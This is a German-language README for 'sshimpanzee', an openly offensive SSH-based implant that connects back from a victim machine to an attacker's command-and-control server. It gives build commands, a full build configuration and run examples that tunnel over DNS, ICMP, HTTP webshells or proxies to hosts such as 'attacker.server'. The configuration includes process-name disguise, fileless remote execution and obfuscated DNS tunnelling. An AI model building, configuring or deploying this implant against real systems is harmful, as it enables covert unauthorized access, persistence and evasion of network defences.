
SSHD-basiertes Implantat mit Unterstützung für Tunneling-Mechanismen zum Erreichen des C2 (DNS, ICMP, HTTP-Kapselung, HTTP/Socks-Proxies, UDP...)
Sshimpanzee ermöglicht es Ihnen, einen statischen Reverse-SSH-Server zu erstellen. Anstatt auf einem Port zu lauschen und auf Verbindungen zu warten, initiiert der SSH-Server eine Reverse-Verbindung zur IP des Angreifers, ähnlich wie eine normale Reverse-Shell. Sshimpanzee ermöglicht es Ihnen, alle Funktionen einer regulären SSH-Verbindung zu nutzen, wie Portweiterleitungen, dynamische SOCKS-Proxys oder einen FTP-Server.
Noch wichtiger: Wenn eine direkte Verbindung vom Opfer-Rechner zum Angreifer-Server nicht möglich ist, bietet es verschiedene Tunnelmechanismen wie DNS-Tunneling, ICMP-Tunneling oder HTTP-Einkapselung. Es unterstützt auch HTTP- und SOCKS5-Proxys. Ein technisches Paper ist auf dem Blog von lexfo verfügbar.
sudo docker build . --output .
sudo docker build . --platform arm64 --output .
Möglicherweise müssen Sie die Umgebungsvariable DOCKER_BUILDKIT=1 aktivieren.
Der Build basiert auf der Datei build.yaml:
###
# Dies ist die Build-Konfigurationsdatei von sshimpanzee
# YAML wird verwendet, um das Verhalten und die Funktionen von sshimpanzee zu beschreiben
###
### Allgemeine Konfiguration
process_name: "sshimpanzee" # Name des Prozesses, wie er in ps erscheint (Sie werden ihn jedoch nicht mit diesem Namen beenden können)
banner: True # Soll das Banner beim Log angezeigt werden
verbose: 3 # Ausführlichkeitsstufe, wie in build/build.log geschrieben
shell: "/bin/sh" # Standard-Shell für den Benutzer, die /etc/passwd-Einträge mit false oder nologin als Shell umgeht
timer: 60*1000*1000 # Zeit in Millisekunden, bevor ein neuer sshimpanzee-Kindprozess nach dem Beenden gestartet wird. Im sock-MODE wird z.B. eine neue sshd-Verbindung 1 Minute nach dem Ende der vorherigen hergestellt.
keygen: True # Generiere Schlüssel während des Builds neu, stelle sicher, dass neue HOST- und CLIENT-Schlüssel verwendet werden
public_key: # Wenn keine neuen Schlüssel generiert werden, kann ein öffentlicher Client-Schlüssel zur Authentifizierung angegeben werden (nur ed25519-Schlüssel werden unterstützt)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"
make: True # Auf True belassen, wenn das Builder-Skript die sshd-Binärdatei generieren soll
force_clean_build: True # Derzeit für Docker-Builds erforderlich, zwingt das Builder-Skript zur Neukompilierung von Tunneln und Abhängigkeiten
reconf: True # Für Docker-Builds erforderlich
### Umgebung
# sshimpanzee wird zur Laufzeit über Umgebungsvariablen konfiguriert. Es ist jedoch möglich, Umgebungsvariablen vorzubelegen, um ein Standardverhalten zu erhalten.
env:
if_not_set : # Variablen hier werden gesetzt, wenn sie noch nicht existieren
REMOTE: 127.0.0.1
PORT: 8080
MODE: sock # Die Umgebungsvariable MODE wird verwendet, um den Standardtunnel zu verwalten
overwrite: # Variablen hier überschreiben bereits vorhandene
### Tunnel
# sshimpanzee bietet verschiedene Tunnelmechanismen
# Um die Kompilierungszeit zu verkürzen und vor allem eine leichtere Binärdatei zu erhalten, können einige Tunnel ein- oder ausgeschlossen werden
# Tunnel-Kompilierungsparameter können hier angegeben werden
tun:
sock:
enabled: True
icmp:
enabled: True
buildserv: True # Soll der entsprechende ICMPTunnel-Server gebaut werden
raw_sock: False # Mit Unterstützung für raw sock für ältere Kernel bauen
http_enc :
enabled: True
key: # Webshell-Schlüssel, leer führt zur Generierung eines neuen Schlüssels
target:
- "php" # Liste der Sprachen, für die Webshells generiert werden sollen
path_fd: "/dev/shm/sshim" # Fifo, das sshimpanzee zur Kommunikation mit Webshells verwendet
dns:
enabled: True
resource: sshimpanzee # DNS2TCP-Ressource
key: sshimpanzee # DNS2TCP-Schlüssel
obfuscate: True # DNS2TCP-Magischer-String verschleiern, dies erzwingt den Build des entsprechenden Servers
buildserv: False
qtype: TXT # Von DNS2TCP verwendeter Abfragetyp
proxysock:
enabled: True
no_build:
enabled: False
path: []
# Openssh-Subsysteme
# man sshd_config Subsystems
subsystems:
internal_sftp: # Standard-SFTP, wie von OpenSSH bereitgestellt
enabled: True # Erforderlich für scp und sftp
name: sftp
exec: internal-sftp
is_internal: True
remote_exec: # Sshimpanzee-Benutzerdefiniertes Subsystem
enabled: True # Remote-Ausführung mit der fileless-memfd-Technik
name: remote-exec
exec: internal-remote-exec
is_internal: True
python: # Beispiel eines standardmäßigen SSH-Subsystems
enabled: False
name: python
exec: /usr/bin/python -c "print('python code')"
is_internal: False
Zur Laufzeit wird die sshimpanzee-Binärdatei über Umgebungsvariablen konfiguriert.
Die Variable MODE ermöglicht es dem Benutzer, zwischen kompilierten Tunneln zu wählen.
Jeder Tunnel kann über Umgebungsvariablen konfiguriert werden.
Um beispielsweise eine klassische Reverse-Verbindung zu 127.0.0.1:8080 herzustellen, verwenden Sie Folgendes:
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
Es ist möglich, sshimpanzee im Debug-Modus mit -d auszuführen. Im Debug-Modus bleibt sshimpanzee im Vordergrund.
Derzeit unterstützt sshimpanzee mehrere Möglichkeiten, wie der Implant den Angreifer-SSH-Client erreichen kann:
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
Weitere Beispiele:
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee # Binden und Lauschen auf 127.0.0.1:8080
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Verbindung zum Unix-Socket /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Binden und Lauschen auf dem Unix-Socket /tmp/sock
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee
Weitere Beispiele:
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
sudo ./dns2tcpd -F -f dns2tcpdrc
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee
Weitere Beispiele:
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Erzwingt die Verwendung des DNS-Resolvers 8.8.8.8
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all